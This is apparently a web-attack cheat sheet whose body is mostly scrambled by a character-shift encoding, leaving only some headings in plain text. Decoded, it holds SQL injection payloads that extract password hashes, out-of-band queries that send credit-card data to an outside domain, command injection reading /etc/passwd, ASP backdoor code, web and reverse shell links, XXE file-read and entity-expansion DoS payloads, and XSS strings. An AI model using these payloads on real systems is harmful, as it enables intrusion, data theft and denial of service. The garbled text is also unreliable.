�@CC�AX������NE�SG@S�HMCDW� 3HMRD�@MC�QDOD@S�DUDQX�SHLD�
5GHMJ�NE�HS�@R�@�L@MT@K�AHM@QX�RD@QBG
�NMD�QDPTDRS�@S�@�SHLD�

5@JD�MNSD�NE�VG@S�SGD�O@FD�KNNJR�KHJD�ENQ�@�U@KHC�PTDQX�AX�UHRHSHMF� UHBSHL�BNL�
OQNCTBSR�@RO HC��

UHBSHL�BNL�OQNCTBSR�@RO HC����03%&3�#:�����

�� *E�SGD�O@FD�KN@CR�@M�DQQNQ�O@FD�NQ�@�AK@MJ�O@FD
�SGD�MTLADQ�NE�BNKTLMR�EQNL�S@AKD
ADHMF�PTDQHDC�HR�ADKNV����

UHBSHL�BNL�OQNCTBSR�@RO HC����03%&3�#:�����

�� *E�SGD�O@FD�KN@CR�@M�DQQNQ�O@FD�NQ�@�AK@MJ�O@FD
�SGD�MTLADQ�NE�BNKTLMR�EQNL�S@AKD
ADHMF�PTDQHDC�HR�ADKNV����

UHBSHL�BNL�OQNCTBSR�@RO HC����03%&3�#:�����

�� *E�SGD�O@FD�KN@CR�@M�DQQNQ�O@FD�NQ�@�AK@MJ�O@FD
�SGD�MTLADQ�NE�BNKTLMR�EQNL�S@AKD
ADHMF�PTDQHDC�HR�ADKNV����

UHBSHL�BNL�OQNCTBSR�@RO HC����03%&3�#:�����

���*E�SGD�O@FD�KN@CR�SGD�U@KHC�O@FD�EQNL�HC��
�VD�BNMBKTCD�SGDQD�V@R�MN�DQQNQ�@MC�SG@S
SGD�MTLADQ�NE�BNKTLMR�HM�SGD�S@AKD�ADHMF�PTDQHDC�HR����

�� 4DD�HE�@M�DLOSX�O@FD�VHKK�KN@C�ENQ�@�MDF@SHUD�HMCDW�U@KTD�AX�UHRHSHMF�

UHBSHL�BNL�OQNCTBSR�@RO HC���

*E�SGD�O@FD�KN@CR�VG@S�@OOD@QR�SN�AD�SGD�RJDKDSNM�)5.-�O@FD�VHSGNTS�@MX�C@S@�Q@SGDQ
SG@M�QDCHQDBSHMF�XNT�SN�@M�DQQNQ�O@FD
�VD�B@M�BNMBKTCD�SG@S�HS�HR�KHJDKX�VD�VHKK�AD�@AKD�SN
DWSQ@BS�C@S@�EQNL�VHSGHM�SGD�)5.-�

�� 4HMBD�SGD�L@WHLTL�MTLADQ�NE�BNKTLMR�HM�SGD�DW@LOKD�@ANUD�HR���
�UHRHS�

UHBSHL�BNL�
OQNCTBSR�@RO HC����6/*0/�4&-&$5�"--�MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK�



�

�� #DFHM�QDOK@BHMF�NMD�BNKTLM�@S�@�SHLD�VHSG�DHSGDQ�@�MTLADQ�NQ�RSQHMF�

"�QDPTHQDLDMS�SN�RTBBDRRETKKX�ODQENQL�@�6/*0/�4&-&$5�"--�@SS@BJ�HM�0Q@BKD�HR�SG@S�SGD
C@S@SXODR�NE�XNTQ�BNKTLMR�LTRS�L@SBG�SGD�BNKTLM�SXODR�NE�SGD�NQHFHM@K�PTDQX� *M�NSGDQ
VNQCR
�HE�XNT�UHRHS�

UHBSHL�BNL�
OQNCTBSR�@RO HC����6/*0/�4&-&$5�"--��
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK�
�

:NTQ�FN@K�HR�SG@S�HS�KN@CR�SGD�R@LD�O@FD�XNT�R@V�ENQ�UHBSHL�BNL�OQNCTBSR�@RO HC���� *E
HS�KNNJR�KHJD�@M�DQQNQ�O@FD�NQ�@�BNLOKDSDKX�AK@MJ�O@FD
�XNT�B@M�BNMBKTCD�SG@S�SGD�NQHFHM@K
PTDQX�G@R�@�RSQHMF�C@S@�SXOD�ENQ�SGD�EHQRS�BNKTLM�NE�SGD�PTDQX�Q@SGDQ�SG@M�@M�HMSDFDQ� *E
SG@S�HR�SGD�B@RD
�DMSDQ�

UHBSHL�BNL�
OQNCTBSR�@RO HC����6/*0/�4&-&$5�"--��@�
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK�
�

���*E�)5.-�HR�OQDRDMS
�KNNJ�ENQ�@��@��BG@Q@BSDQ�@MXVGDQD�VHSGHM�SGD�O@FD� *E�XNT�G@UD
MNS�ENTMC�HS
�BNMSHMTD�QDOD@SHMF�RSDO���TMSHK�XNT�G@UD�RTBBDRRETKKX�ENTMC�DHSGDQ�@M
HMSDFDQ�NQ�RSQHMF�SG@S�KN@CR�VHSGHM�SGD�VDAO@FD� *M�SGHR�DW@LOKD
�XNT�G@UD����BNKTLMR
@S�XNTQ�CHRONR@K�

�� -DS�R�R@X�SG@S�BNKTLM�SVN�FHUDR�XNT�@�BG@Q@BSDQ�SG@S�KN@CR�HMSN�SGD�VDAO@FD� 5G@S�HR

VGDM�XNT�UHRHS�SGHR�O@FD�XNT�RTBBDRRETKKX�RDD�@��@��BG@Q@BSDQ�VHSGHM�SGD�VDAO@FD�BNMSDMS�

UHBSHL�BNL�
OQNCTBSR�@RO HC����6/*0/�4&-&$5�"--�MTKK
�@�
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK�
�

�� 'QNL�GDQD
�BNMUDQS�SGHR�6/*0/�4&-&$5�RS@SDLDMS�HMSN�NMD�SG@S�VHKK�CHROK@X�SGD
O@RRVNQC�G@RG�ENQ�SGD�BTQQDMS�C@S@A@RD�TRDQ�

UHBSHL�BNL�
OQNCTBSR�@RO HC����6/*0/�4&-&$5�"--�MTKK
TRDQ
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK���EQNL���RXR�TRDQ�
�
UHBSHL�BNL�
OQNCTBSR�@RO HC����6/*0/�4&-&$5�"--�MTKK
O@RRVNQC
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK
MTKK���EQNL���RXR�TRDQ�
�

*M�D@BG�QDPTDRS
�KNNJ�ENQ�SGD�QDRODBSHUD�0Q@BKD�C@S@A@RD�TRDQM@LD�@MC�O@RRVNQC�G@RG�
5GD�O@RRVNQC�G@RG�RGNTKC�AD�CHROK@XDC�@R�@����BG@Q@BSDQ�U@KTD�

Blind SQL Injection
GSSO���<RHSD�BNL>�O@FD�OGO HC�5&45
	OQNCTBDR�@�FHUDM�O@FD

GSSO���<RHSD�BNL>�O@FD�OGO HC�5&45b�@MC�	RDKDBS�TRDQ�EQNL�CT@K
��4$055���
	OQNCTBDR�SGD�R@LD�O@FD

GSSO���<RHSD�BNL>�O@FD�OGO HC�5&45b�@MC�	RDKDBS�TRDQ�EQNL�CT@K
��'00����
	OQNCTBDR�@ CHEEDQDMS�O@FD


Out-Of-Band SQL Injection
GSSO���<RHSD�BNL>�O@FD�OGO HC�4$055b�@MC�	RDKDBS�TSK?HM@CCQ�FDS?GNRS?@CCQDRR		RDKDBS
TRDQ�EQNL�CT@K
[[��I�D�KD@QMRDBTQHSXNMKHMD�BNL�
�EQNL�CT@K
�HR�MNS�MTKK��



GSSO���<RHSD�BNL>�O@FD�OGO HC�4$055b�@MC�	RDKDBS
RTL	KDMFSG	TSK?GSSO�QDPTDRS	�GSSO���VVV�KD@QMRDBTQHSXNMKHMD�BNL�
�[[BBMTLADQ[[���[[EM@LD[[���[[KM@LD


�EQNL�BQDCHSB@QC
����
5GHR�RGNTKC�VNQC�@F@HMRS�0Q@BKD��
�H
@MC���F

GSSO���<RHSD�BNL>�O@FD�OGO HC�4$055b�@MC�	4&-&$5�4:4�%#.4?-%"1�*/*5		4&-&$5
TRDQ�EQNL�CT@K
[[��KD@QMRDBTQHSXNMKHMD�BNL�
��
'30.�%6"-
�HR�MNS�MTKK��
5GHR�HR�@M�@KSDQM@SHUD�SG@S�RGNTKC�VNQJ�@F@HMRS���F

Heavy Queries
GSSO���<RHSD�BNL>�O@FD�OGO HC���[[	RDKDBS���EQNL�CT@K�VGDQD�	RDKDBS�BNTMS	�
EQNL
@KK?TRDQR�S�
�@KK?TRDQR�S�
�@KK?TRDQR�S�
�@KK?TRDQR�S�
�@KK?TRDQR�S�
���@MC�	RDKDBS�TRDQ
EQNL�CT@K
��4$055�

��
5GHR�PTDQX�K@RSR�@ANTS����RDBNMCR

GSSO���<RHSD�BNL>�O@FD�OGO HC���[[	RDKDBS���EQNL�CT@K�VGDQD�	RDKDBS�BNTMS	�
EQNL
@KK?TRDQR�S�
�@KK?TRDQR�S�
�@KK?TRDQR�S�
�@KK?TRDQR�S�
�@KK?TRDQR�S�
���@MC�	RDKDBS�TRDQ
EQNL�CT@K
��9999�

��
5GHR�PTDQX�K@RSR���RDBNMC�RN�VD�JMNV�SGD�TRDQ�HR�4BNSS

$NLL@MC�*MIDBSHNM

Identifying Command Injection Vulnerablilities

*M�RNLD�B@RDR
�HS�L@X�AD�ONRRHAKD�SN�QTM�@QAHSQ@QX�BNLL@MCR�SGQNTFG�SGD�VDA

@OOKHB@SHNM� 5GHR�VHKK�AD�SQTD�VGDM�@�VDARHSD�@OOD@QR�SN�S@JD�TRDQ�HMOTS�@MC�TONM

RTALHSSHMF�SGD�HMOTS
�SGD�CXM@LHB@KKX�FDMDQ@SDC�NTSOTS�KNNJR�RHLHK@Q�SN�SGD�QDRTKS�NE�@

BNLL@MC�ADHMF�DWDBTSDC�

Command Injection: Appending a Command

*E�@�VDARHSD�G@R�@�+@U@RBQHOS�CQNO�CNVM�LDMT�VHSG�BNLL@MCR�KHJD�OHMF
�EHMFDQ
�@MC

SQ@BDQNTSD
�@MC�SGHR�LDMT�HR�QHFGS�ADRHCD�@�VDA�ENQL�SG@S�S@JDR�HM�@M�HO�@CCQDRR
�XNT

DMSDQ�@�U@KHC�HO�@CCQDRR�@MC�RDKDBS��OHMF�� 0ARDQUD�SGD�QDRTKSR
�CN�SGDX�KNNJ�RHLHK@Q�SN

SGD�QDRTKS�HE�XNT�Q@M�OHMF *S�HR�KHJDKX�SG@S�@�RSQHMF�HR�ADHMF�BNMB@SDM@SDC�@MC�O@RRDC�SN�@

4XRSDL	�
�ETMBSHNM� 4XRSDL	�OHMF������HO
�

*M�SGHR�B@RD
�@SSDLOS�SN�@OODMC�@M�@CCHSHNM@K�BNLL@MC�SN�SGD�DMC�NE�SGD�RSQHMF� "ESDQ

RDKDBSHMF��OHMF��EQNL�SGD�CQNO�CNVM�LDMT
�HM�SGD�HO�@CCQDRR�ENQL
�SXOD� ������������

B@S��DSB�O@RRVC

NQ�SXOD� ������������B@S��DSB�O@RRVC



Command Injection: Injecting Code to Run Commands

4NLD�VDARHSDR�L@X�G@UD�@�AHF�ENQL�SG@S�HR�HMSDMCDC�SN�HMSDQOQDS�RNLD�BNCD
�SGDM�VGDM

SGD�BNCD�HR�QTM�NM�SGD�VDARHSD
�SGD�NTSOTS�HR�CHROK@XDC�VHSGHM�SGD�O@FD� 5GHR�L@X�AD

SQTD�VHSG�STSNQH@K�RHSDR�SG@S�G@UD�@M�NOSHNM�SN��&MSDQ�@�AKNBJ�NE�BNCD�� *M�SGDRD�B@RDR


@SSDLOS�SN�DMSDQ�BNCD�SG@S�VHKK�B@KK�SGD�4XRSDL�ETMBSHNM� 'NQ�DW@LOKD� 4XRSDL	�B@S

�DSB�O@RRVC�
�

#@BJCNNQ�6OKN@CHMF�"SS@BJR

8DA�@OOKHB@SHNMR�NESDM�@KKNV�ENQ�EHKDR�RTBG�@R�HL@FDR�@MC�CNBTLDMSR�SN�AD�TOKN@CDC�SN
SGD�QDLNSD�RDQUDQ� *S�BNTKC�AD�ONRRHAKD�SG@S�SGDX�@QD�MNS�OQNODQKX�UDQHEXHMF�SGD�EHKD�SXOD
OQHNQ�SN�@KKNVHMF�HS�SN�AD�TOKN@CDC� *E�SGHR�HR�SQTD
�HS�BNTKC�AD�ONRRHAKD�SN�TOKN@C�@
A@BJCNNQ� 5N�SDRS�SGHR�NTS
�ENKKNV�SGDRD�RSDOR�

�� %DSDQLHMD�SGD�K@MFT@FD�TRDC�AX�SGD�@OOKHB@SHNM�	"41�+41�1)1
�
�� 6OKN@C�@�KDFHSHL@SD�EHKD�@MC�@M@KXYD�SGD�)5.-�RNTQBD�BNMS@HMHMF�SGD�KHMJ�SN�XNTQ�EHKD�
5@JD�MNSD�NE�SGD�ENKKNVHMF�

��8@R�SGD�EHKD�QDM@LDC�NQ�JDOS�SGD�R@LD�@R�SGD�EHKD�SG@S�XNT�TOKN@CDC 
��%DSDQLHMD�SGD�ETKK�63*�SN�SGD�TOKN@CDC�SN�JMNV�VGDQD�SN�AQNVRD�SN�NTQ�BTRSNL

A@BJCNNQ�
�� "SSDLOS�SN�TOKN@C�@�A@BJCNNQ� *M�SGD�B@RD�NE�SGD�"41�A@BJCNNQ
�SGHR�@KRN�QDPTHQDR�@
BNOX�NE�BLC�DWD�SN�AD�TOKN@CDC�@R�VDKK�
�� *MUNJD�SGD�A@BJCNNQ
�O@RRHMF�XNTQ�RGDKK�BNLL@MCR�UH@�SGD�O@Q@LDSDQ�U@QH@AKD�
1KD@RD�MNSD�SG@S�45%&33�LDRR@FDR�VHKK�MNS�AD�UHDV@AKD�VGDM�QTMMHMF�BNLL@MCR�VHSG
SGD�"41�A@BJCNNQ�BNCD�DW@LOKD�

ASP Backdoor Code

/NSD� 5GHR�BNCD�QDPTHQDR�@�BNOX�NE�BLC�DWD�SN�AD�TOKN@CDC� *M�SGHR�DW@LOKD
�HS�HR
QDM@LDC�YYY�DWD� "41�#@BJCNNQ�BNCD�AX�.$�

���4DQUDQ�$QD@SD0AIDBS	�VRBQHOS�RGDKK�
�DWDB	4DQUDQ�.@O1@SG	���
����=YYY�DWD��B������

QDPTDRS	�BLC�
�������
�RSCNTS�QD@C@KK���

5GD�A@BJCNNQ�B@KKDC�ETM�@RO�HR�HMUNJDC�@R�ENKKNVR�

VVV�UHBSHL�BNL�O@SG�SN�TOKN@CR�ETM�@RO BLC��MDSRS@S �@M�

*E�SGD�RHSD�OQDUDMSR�XNT�EQNL�TOKN@CHMF�@�BLC�DWD�EHKD
�GDQD�@QD�RNLD�NSGDQ�TRDETK�"41
SNNKR�

�� CHQ�@RO�AX�+@BNA�(H@MM@MSNMHN
�HMUNJDC�@R�ENKKNVR� VVV�UHBSHL�BNL�O@SG�SN�
TOKN@CR�CHQ�@RO O@SG��B�=�

�GSLK�
�ANCX�
��
%HL�NAI'40
�NAI'HKD
�NAI'NKCDQ
4DS�NAI'40���4DQUDQ�$QD@SD0AIDBS	�4BQHOSHMF�'HKD4XRSDL0AIDBS�

4DS�NAI'NKCDQ���NAI'40�(DS'NKCDQ	3DPTDRS�2TDQX4SQHMF	�O@SG�


'NQ�&@BG�NAI'HKD�HM�NAI'NKCDQ�'HKDR
3DRONMRD�8QHSD�NAI'HKD�/@LD�����AQ��



/DWS
4DS�NAI'NKCDQ���/NSGHMF
4DS�NAI'40���/NSGHMF
��
��ANCX�
��GSLK�

�� B@S�@RO�AX�+@BNA�(H@MM@MSNMHN
�HMUNJDC�@R�ENKKNVR� VVV�UHBSHL�BNL�O@SG�SN�
TOKN@CR�B@S�@RO O@SG��B�=ANNS�HMH�

�GSLK�
�ANCX�

��
$NMRS�'NQ3D@CHMF����
$NMRS�'NQ8QHSHMF����
$NMRS�'NQ"OODMCHMF����
$NMRS�5QHRS@SD6RD%DE@TKS�����
$NMRS�5QHRS@SD5QTD�����
$NMRS�5QHRS@SD'@KRD����

%HL�N'4
%HL�N'HKD
%HL�N4SQD@L

4DS�N'4���4DQUDQ�$QD@SD0AIDBS	�4BQHOSHMF�'HKD4XRSDL0AIDBS�

4DS�N'HKD���N'4�(DS'HKD	3DPTDRS�2TDQX4SQHMF	�O@SG�


4DS�N4SQD@L���N'HKD�0ODM"R5DWS4SQD@L	'NQ3D@CHMF
�5QHRS@SD6RD%DE@TKS


%N�8GHKD�/NS�N4SQD@L�"S&MC0E4SQD@L
R3DBNQC�N4SQD@L�3D@C-HMD
3DRONMRD�8QHSD R3DBNQC

-NNO
N4SQD@L�$KNRD

��

��ANCX�
��GSLK�

*E�@MX�A@BJCNNQ�EHKDR�@OOD@Q�SN�AD�TOKN@CDC�RTBBDRRETKKX�ATS�E@HK�SN�OQNCTBD�@MX�NTSOTS
�HS
BNTKC�AD�SG@S�SGD�TOKN@C�ENKCDQ�CNDR�MNS�G@UD�DWDBTSHNM�OQHUHKDFDR� *M�SGHR�B@RD
�@SSDLOS
SN�LNCHEX�SGD�O@Q@LDSDQ�U@QH@AKDR�NE�SGD�TOKN@C�@OOKHB@SHNM�@MC�RDD�HE�HS�HR�ONRRHAKD�SN
ODQENQL�@�CHQDBSNQX�SQ@UDQR@K�@SS@BJ�NM�SGD�CDRSHM@SHNM�ENKCDQ
�SGDM�AQNVRD�SN�@�ENKCDQ
SG@S�HR�GNKCHMF�SGD�KDFHSHL@SD�VDA�@OOKHB@SHNM�BNCD�@MC�CQNO�SGD�A@BJCNNQ�SGDQD� *E�HS�HR
MNS�ONRRHAKD�SN�AQD@J�NTS�NE�SGD�TOKN@C�ENKCDQ�VHSG�MN�DWDBTSHNM�OQHUHKDFDR
�@SSDLOS�SN�@S
KD@RS�OTS�@QAHSQ@QX�)5.-�+@U@RBQHOS�HMSN�@�EHKD� 5G@S�RGNTKC�FDS�QDMCDQDC�NM�SGD�RDQUDQ
@MC�MNSDC�@R�@�ODQRHRSDMS�944�UTKMDQ@AHKHSX�

)DQD�@QD�RNLD�VDA�RGDKKR�

GSSO���LHBG@DKC@V�NQF�OQNIDBSR�VAB�U�A�S@Q�FY

GSSO���NODM�K@AR�NQF�G@BJDQ?VDAJHS���S@Q�FY

GSSO���ODMSDRSLNMJDX�MDS�SNNKR�OGO�EHMCRNBJ�RGDKK�OGO�EHMCRNBJ�



RGDKK�����S@Q�FY

GSSO���ODMSDRSLNMJDX�MDS�SNNKR�OGO�QDUDQRD�RGDKK�OGO�QDUDQRD�

RGDKK�����S@Q�FY

GSSO���ODMSDRSLNMJDX�MDS�SNNKR�ODQK�QDUDQRD�RGDKK�ODQK�QDUDQRD�

RGDKK�����S@Q�FY

XML Attacks

XML Content Attack Strings

��<$%"5"<�RBQHOS�U@Q�M���VGHKD	SQTD
ZM���\��RBQHOS�>>�

� WLK�UDQRHNM������

DMBNCHMF��*40�������� ��ENN���<$%"5"<�>>�4$3*15��<$%"5"<�>>�@KDQS	�I�D�
���<$%"5"<�>>��

4$3*15��<$%"5"<�>>���ENN�

� WLK�UDQRHNM�������DMBNCHMF��*40�������� ��ENN���<$%"5"<��NQ�����NQ

����>>���ENN�

� WLK�UDQRHNM�������DMBNCHMF��*40�������� ���%0$5:1&�ENN�<��&-&.&/5�ENN

"/:���&/5*5:�WWD�4:45&.��EHKD���B��ANNS�HMH��>��ENN��WWD���ENN�

� WLK�UDQRHNM�������DMBNCHMF��*40�������� ���%0$5:1&�ENN�<��&-&.&/5�ENN

"/:���&/5*5:�WWD�4:45&.��EHKD�����DSB�O@RRVC��>��ENN��WWD��ENN�

� WLK�UDQRHNM�������DMBNCHMF��*40�������� ���%0$5:1&�ENN�<��&-&.&/5�ENN

"/:���&/5*5:�WWD�4:45&.��EHKD�����DSB�RG@CNV��>��ENN��WWD��ENN�

� WLK�UDQRHNM�������DMBNCHMF��*40�������� ���%0$5:1&�ENN�<��&-&.&/5�ENN

"/:���&/5*5:�WWD�4:45&.��EHKD�����CDU�Q@MCNL��>��ENN��WWD��ENN�

XML DoS Attack

%N4�BNMCHSHNMR�B@M�AD�B@TRDC�NM�L@MX�CHEEDQDMS�KDUDKR
�RN�BQD@SHUHSX�HR�DRRDMSH@K��0MD

BNLLNM�DW@LOKD�HR�@ATRHMF�@�O@QRDQbR�G@MCKHMF�NE�%5%�QDBTQRHNM�AX�HMIDBSHMF�RNLDSGHMF



KHJD�SGHR�HMSN�KDFHSHL@SD�9.-�

��%0$5:1&�ENNA@Q�<

��&/5*5:�W���GH�SGDQD����&/5*5:�W����W���W������&/5*5:�W����W���W������&/5*5:

W���W���W������&/5*5:�W����W���W����

���

��&/5*5:�W�����W����W�������&/5*5:�W�����W����W�������&/5*5:�W��

��W����W�������&/5*5:�W�����W����W�������&/5*5:�W�����W����W�����

��&/5*5:�W������W����W������>�

�ENNA@Q��W������ENNA@Q�

5G@SbR�@�KNS�NE�SXOHMF
�VD�CNMbS�CN�SG@S�@R�OQNFQ@LLDQR��)DQD�HR�@�RHLOKD�OXSGNM�RBQHOS

SG@S�CNDR�SGHR�

HLONQS�RXR

ENQ�H�HM�Q@MFD	���
�

W���H��

RXR�RSCNTS�VQHSD	����&/5*5:�W�R�=��W�R��W�R�=������	H
�W
�W
�


*E�XNT�HMIDBS�DMNTFG�	SG@S�HR
�HMR@MD�@LNTMSR�NE
�C@S@�CHQDBSKX�HMSN�SGD�9.-�O@XKN@C


@MNSGDQ�SXOD�NE�%N4�BNMCHSHNM�L@X�AD�@BGHDUDC��5@JD�ENQ�DW@LOKD�SGD�ENKKNVHMF

HMIDBSHNM�

���

�VRRD�4DBTQHSX�

�"SS@BJ5@F�"SS@BJ7@KTD��"SS@BJ5@F�

�"SS@BJ5@F�"SS@BJ7@KTD��"SS@BJ5@F�

���

�"SS@BJ5@F�"SS@BJ7@KTD��"SS@BJ5@F�

�"SS@BJ5@F�"SS@BJ7@KTD��"SS@BJ5@F�

��VRRD�4DBTQHSX�

���

*L@FHMD�SGHR�"SS@BJ5@F�DKDLDMS�ADHMF�HMIDBSDC������SHLDR
�ENQ�HMRS@MBD��.DRRHMF�VHSG

SGD�@BST@K�RSQTBSTQD�NE�RDDLHMFKX�KDFHSHL@SD�	SN�SGD�O@QRDQ
�9.-�HM�SGHR�V@X�VHKK�ENQBD�SGD

O@QRDQ�SN�SQX�@MC�CD@K�VHSG�SGD�C@S@�OQDRDMSDC�SN�HS��4NLD�SGQDRGNKC�VHKK�DUDMST@KKX�FDS

GHS��5G@S�SGQDRGNKC�HR�VG@S�XNT�@QD�@ESDQ
�RN�XNT�LTRS�CNBTLDMS�HS�@MC�SGD�QDODQBTRRHNMR

NE�HS�FDSSHMF�QD@BGDC�



)TFD�A@RD���DMBNCDC�RSQHMFR�VHKK�FDS�SQD@SDC�@R�AHM@QX�C@S@
�RN�HMIDBSHMF�RNLDSGHMF�KHJD

SGHR�HMSN�SGD�9.-�O@XKN@C�L@X�@KRN�XHDKC�RNLD�HMSDQDRSHMF�QDRTKSR�

���

�VRRD�4DBTQHSX�

�"SS@BJ5@F�

"SS@BJ7@KTD

)GM�MDNP3LB)4O1��L&18@5@K1$/C,&HM3#(/1U0OY8�/�NNI':WI"K�/Y$-��WU9ELI$B"

�V�N�@3�YD&K$#BB(N��MF:K��LJCC@X�##YIBB),BXV%JM,N+:AVS�@CW��UX�(6+D�MSI2

���

�BH�VYD���5(8F7QN@2C61Q%*+8��RWY�S8:�@V��HN�A$58"/DJF�,Q�

"MKE�0C7UU3JD4W

;4�Y92���XT'DP��RQ�+HC)EVFRMU21�"D6�

��"SS@BJ5@F�

���

��VRRD�4DBTQHSX�

���

XML Parser Overload

:NT�B@M�NUDQKN@C�SGD�O@QRDQ�HE�XNT�FHUD�HS�DMNTFG�RSQ@MFD�C@S@�SG@S�HS�SQHDR�SN�@BST@KKX

OQNODQKX�G@MCKD��)DQD�HR�@M�DW@LOKD�

���

�VRRD�4DBTQHSX�

�"SS@BJ5@F�S@F���99��S@F���99��S@F���99��S@F���99�������

"SS@BJ7@KTD

��"SS@BJ5@F�

�"SS@BJ5@F�S@F����9��S@F����9��S@F����9��S@F����9�������

"SS@BJ7@KTD

��"SS@BJ5@F�

���

��VRRD�4DBTQHSX�

���

&MUHRHNM�@M�@SS@BJ�VGDQD�SGD�ANFTR�@SSQHATSDR�ADHMF�HMIDBSDC�VDQD�PTHSD�K@QFD�HM�MTLADQ�

5GHR�VNTKC�OTS�PTHSD�@�RSQ@HM�NM�SGD�O@QRDQ��"MNSGDQ�@SS@BJ�SDBGMHPTD�HR�EDDCHMF�SGD

O@QRDQ�9.-�SG@S�HR�HMBNLOKDSD
�MNS�VDKK�ENQLDC
�NQ�MNS�U@KHC�`�ENQ�DW@LOKD
�BNLAHMHMF

GTFD�@LNTMSR�NE�C@S@�VHSG�@�O@SSDQM�NE�MN�BKNRHMF�S@FR��4NLDSGHMF�KHJD�SGHR�BNTKC�G@UD

@M�HMSDQDRSHMF�DEEDBS�NM�SGD�S@QFDS�HMEQ@RSQTBSTQD�

���

�VRRD�4DBTQHSX�



�"SS@BJ5@F�

�"SS@BJ5@F�

�"SS@BJ5@F�

���

�"SS@BJ5@F�

�"SS@BJ5@F�

�"SS@BJ5@F�

��VRRD�4DBTQHSX�

���

XML Injection

"ESDQ�XNT�TMCDQRS@MC�SGD�C@S@�XNT�@QD�TO�@F@HMRS
�HS�L@X�AD�ONRRHAKD�SN�CN�RNLD

HMIDBSHNM�CHQDBSKX�HMSN�SGD�9.-�@MC�RDD�GNV�SGD�RDQUHBD�QDRONMCR��5GD�NMD�S@BSHB�XNT

RGNTKC�@KV@XR�SQX�HR�E@KRDKX�SDQLHM@SHMF�@�S@F
�L@JHMF�@M�HMIDBSHNM
�@MC�SGDM�OQNODQKX

SDQLHM@SHMF�SN�SQX�@MC�ENQBD�OQNBDRRHMF�NE�XNTQ�LNCHEHDC�9.-��)DQD�HR�@�RHLOKD�DW@LOKD

VHSG�SGD�HMIDBSHNM�HM�ANKC�

�DLOKNXDD�

�DLO*%��������DLO*%�

�DLO/@LD�+ND�5DRSDQ��DLO/@LD�

�DLO&L@HK�IND!DW@LOKD�BNL��DLO&L@HK��DLO*%��������DLO*%�

�DLO&L@HK�RNLD!SGHMF�BNL��DLO&L@HK�

���

��DLOKNXDD�

.@MT@K�944

Identifying XSS

-DS�R�RS@QS�VHSG�RNLD�ONOTK@Q�ATS�FDMDQHB�944�O@XKN@CR��&@BG�O@XKN@C�HR�DMBNCDC�HM�GDW

VHSG�SGD�DWBDOSHNM�NE�SGD��QC�NMD�VGHBG�HR�O@QSH@KKX�DMBNCDC�HM�GDW
�@MC�G@R�SGD�@BST@K
@KDQS�LDRR@FD�DMBNCDC�HM�CDBHL@K��*LLDCH@SDKX�TMCDQ�D@BG�DMBNCDC�O@XKN@C�HR�SGD�GDW�
CDBHL@K�SN�@RBHH�BNMUDQRHNM�NE�SGD�O@XKN@C�RN�XNT�B@M�FDS�@�ADSSDQ�HCD@�NE�VG@S�HR�FNHMF



NM�

Payloads:

�����&��$RBQHOS��&@KDQS�������I�D���������$��'RBQHOS��&
BNMUDQRHNM�� ���RBQHOS�@KDQS	��I�D��
��RBQHOS�

�����&�*.(�43$�=�I@U@RBQHOS�@KDQS	����I�D����
�=��
BNMUDQRHNM�� ���*.(�43$�=�I@U@RBQHOS�@KDQS	��I�D��
�=��

�����&�RBQHOS�@KDQS	4SQHMF�EQNL$G@Q$NCD	���
��
��
��
��
���
��
���
���
��
��
��
��
��
��
��

���RBQHOS�
BNMUDQRHNM�� ���RBQHOS�@KDQS	4SQHMF�EQNL$G@Q$NCD	I�D�3NBJR�%@�944

���RBQHOS�

������=������I�D�������Z	
\
BNMUDQRHNM�� ������=����I�D�����Z	
\

��@KDQS	�
��=��@KDQS	�
������@KDQS	�
��=����@KDQS	�
������&��$�
4$3*15��&�����&���&��$4$3*15��&@KDQS	����I�D����
��$�
4$3*15��&��Z\���
�\@KDQS	�
�ETMBSHNM

BNMUDQRHNM�� ��@KDQS	�
��=��@KDQS	�
����@KDQS	�
��=��@KDQS	�
����
���4$3*15������4$3*15�@KDQS	��I�D��
��4$3*15���Z\�
�\@KDQS	�
�ETMBSHNM

��SDWS@QD@��RBQHOS�@KDQS	����I�D����
��RBQHOS�
BNMUDQRHNM�� ��SDWS@QD@��RBQHOS�@KDQS	��I�D��
��RBQHOS�

�����&��$�RBQHOS��&��$RBQHOS��&@KDQS	�����
��$�RBQHOS��&
BNMUDQRHNM�� ����RBQHOS��RBQHOS�@KDQS	�����
��RBQHOS�

Attacking a URL

.X�LDSGNCNKNFX�ENQ�SGHR�HR�@�KNS�KHJD�GNV�*�FN�@ESDQ�42-�*MIDBSHNM��-NNJ�ENQ�O@Q@LDSDQ
O@RRHMF�HM�SGD�63-�

&W@LOKD�

GSSO���VVV�HBDBTAD�BNL� BNMSDMS�MDVR

*M�SGHR�B@RD�VD�RDD�SG@S�MDVR�HR�SGD�O@Q@LDSDQ�ADHMF�O@RRDC�SN�BNMSDMS��4N�MNV�QHFGS
@KNMF�SGD�R@LD�KHMDR�NE�VG@S�VD�CN�VHSG�42-�HMIDBSHNM���VD�B@M�HMRDQS�D@BG�NE�NTQ�944
O@XKN@CR�HMSN�SGD�63-�AX�ITRS�QDOK@BHMF�SGD��MDVR��O@Q@LDSDQ�VHSG�NTQ�944�O@XKN@C�



GSSO���VVV�HBDBTAD�BNL� BNMSDMS�<*/4&35�944�1":-0"%�)&3&>

"KK�XNT�CN�HR�ITRS�V@SBG�ENQ�@�ONO�TO�D@BG�SHLD�VD�HMRDQS�NTQ�O@XKN@C�

"ESDQ�RNLD�LDRRHMF�@QNTMC�*�ENTMC�SG@S�SGHR�O@XKN@C�RGNVM�ADKNV�VNQJDC
�ATS�HS�NMKX
VNQJDC�VHSG�SGD�@KDQS�RSQHMF�ADHMF�MTLDQHB���������HM�SGHR�B@RD�

�����&��$�RBQHOS��&��$RBQHOS��&@KDQS	�����
��$�RBQHOS��&

4N�@ESDQ�CNHMF�RNLD�SGHMJHMF�@ANTS�HS���*�EHFTQDC�VDKK�VGX�MNS�O@RR�SGD�@KDQS�RSQHMF�HM
CDBHL@K�

GSSO���VVV�HBDBTAD�BNL� BNMSDMS������&��$�
